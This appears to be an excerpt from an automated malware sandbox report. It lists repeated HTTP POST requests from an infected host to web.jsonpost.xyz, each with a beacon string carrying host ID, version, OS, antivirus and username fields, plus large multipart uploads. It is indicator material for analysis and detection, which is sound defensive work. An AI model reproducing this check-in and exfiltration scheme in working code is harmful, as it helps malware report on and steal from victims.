Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----75fc820eeb92975bff3e841961ce7c5bHost: web.jsonpost.xyzContent-Length: 98287Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----0c493e27f64201eb17b9a0de8f16fea0Host: web.jsonpost.xyzContent-Length: 98257Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----88c41d18d04efae2b058311875d35af8Host: web.jsonpost.xyzContent-Length: 99423Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----67f1dda3f58c30bca5812691cfd54a6eHost: web.jsonpost.xyzContent-Length: 98283Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----20803717bf274c582f30f80916c596d3Host: web.jsonpost.xyzContent-Length: 102801Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1f222d7432ca15c9e43b1e0ff82cdbaaHost: web.jsonpost.xyzContent-Length: 98266Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2b8041a10abd63097aaf92c151839ca7Host: web.jsonpost.xyzContent-Length: 98296Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----5add77a23e85c1c8c456f4525574afb1Host: web.jsonpost.xyzContent-Length: 103478Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
